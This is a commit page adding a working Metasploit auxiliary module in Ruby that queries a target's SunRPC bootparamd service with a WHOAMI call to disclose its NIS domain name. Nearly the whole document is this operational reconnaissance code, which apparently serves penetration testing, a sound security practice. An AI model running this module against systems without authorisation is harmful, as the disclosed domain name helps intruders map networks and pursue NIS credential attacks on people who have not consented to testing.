Add NIS bootparamd domain name disclosure
parent
72d39d3186
commit
0c9f1d71d3
|
@ -0,0 +1,153 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::SunRPC
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'NIS bootparamd Domain Name Disclosure',
|
||||
'Description' => %q{
|
||||
This module discloses the NIS domain name from bootparamd.
|
||||
|
||||
You must know a client address from the target's bootparams file.
|
||||
|
||||
Hint: try hosts within the same network range as the target.
|
||||
},
|
||||
'Author' => [
|
||||
'SATAN', # boot.c
|
||||
'pentestmonkey', # Blog post
|
||||
'wvu' # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://tools.ietf.org/html/rfc1831'],
|
||||
['URL', 'https://tools.ietf.org/html/rfc4506'],
|
||||
['URL', 'http://pentestmonkey.net/blog/nis-domain-name']
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptEnum.new('PROTOCOL', [true, 'Protocol to use', 'udp', %w{tcp udp}]),
|
||||
OptAddress.new('CLIENT', [true, 'Client from target\'s bootparams file'])
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
OptFloat.new('XDRTimeout', [true, 'XDR decoding timeout', 10.0])
|
||||
])
|
||||
end
|
||||
|
||||
def run
|
||||
proto = datastore['PROTOCOL']
|
||||
client = datastore['CLIENT']
|
||||
|
||||
begin
|
||||
sunrpc_create(
|
||||
proto, # Protocol: UDP (17)
|
||||
100026, # Program: BOOTPARAMS (100026)
|
||||
1 # Program Version: 1
|
||||
)
|
||||
rescue Rex::ConnectionError
|
||||
print_error('Could not connect to portmapper')
|
||||
return
|
||||
rescue Rex::Proto::SunRPC::RPCError
|
||||
print_error('Could not connect to bootparamd')
|
||||
return
|
||||
end
|
||||
|
||||
# Flavor: AUTH_NULL (0)
|
||||
sunrpc_authnull
|
||||
|
||||
# Convert ASCII to network byte order to four unsigned chars :(
|
||||
client_addr = Rex::Socket.addr_aton(client).unpack('C4')
|
||||
|
||||
bootparam_whoami = Rex::Encoder::XDR.encode(
|
||||
1, # Address Type: IPv4-ADDR (1)
|
||||
*client_addr # Client Address: [redacted]
|
||||
)
|
||||
|
||||
begin
|
||||
res = sunrpc_call(
|
||||
1, # Procedure: WHOAMI (1)
|
||||
bootparam_whoami # Boot Parameters
|
||||
)
|
||||
rescue Rex::Proto::SunRPC::RPCError
|
||||
print_error('Could not call bootparamd procedure')
|
||||
return
|
||||
# XXX: This bubbles up from Rex::Proto::SunRPC::Client
|
||||
# TODO: Make it raise Rex::Proto::SunRPC::RPCTimeout
|
||||
rescue Timeout::Error
|
||||
print_error('Could not disclose NIS domain name (try another CLIENT?)')
|
||||
return
|
||||
ensure
|
||||
# Shut it down! Shut it down forever!
|
||||
sunrpc_destroy
|
||||
end
|
||||
|
||||
if res.nil?
|
||||
print_error('Invalid response from server')
|
||||
return
|
||||
end
|
||||
|
||||
bootparams = begin
|
||||
Timeout.timeout(datastore['XDRTimeout']) do
|
||||
parse_bootparams(res)
|
||||
end
|
||||
rescue Timeout::Error
|
||||
print_error('XDR decoding timed out (try increasing XDRTimeout?)')
|
||||
return
|
||||
end
|
||||
|
||||
if bootparams.nil? || bootparams.empty?
|
||||
print_error('Could not parse bootparams')
|
||||
return
|
||||
end
|
||||
|
||||
bootparams.each do |host, domain|
|
||||
msg = "NIS domain name for host #{host} (#{client}) is #{domain}"
|
||||
|
||||
print_good(msg)
|
||||
|
||||
report_note(
|
||||
host: rhost,
|
||||
port: rport,
|
||||
proto: proto,
|
||||
type: 'nis.bootparamd.domain',
|
||||
data: msg
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
def parse_bootparams(res)
|
||||
bootparams = {}
|
||||
|
||||
loop do
|
||||
begin
|
||||
# XXX: res is modified in place
|
||||
host, domain, _, _, _, _, _ = Rex::Encoder::XDR.decode!(
|
||||
res,
|
||||
String, # Client Host: [redacted]
|
||||
String, # Client Domain: [redacted]
|
||||
Integer, # Address Type: IPv4-ADDR (1)
|
||||
# One int per octet in an IPv4 address
|
||||
Integer, # Router Address: [redacted]
|
||||
Integer, # Router Address: [redacted]
|
||||
Integer, # Router Address: [redacted]
|
||||
Integer # Router Address: [redacted]
|
||||
)
|
||||
|
||||
host && domain ? bootparams[host] = domain : break
|
||||
rescue Rex::ArgumentError
|
||||
vprint_status("Finished XDR decoding at #{res.inspect}")
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
bootparams
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue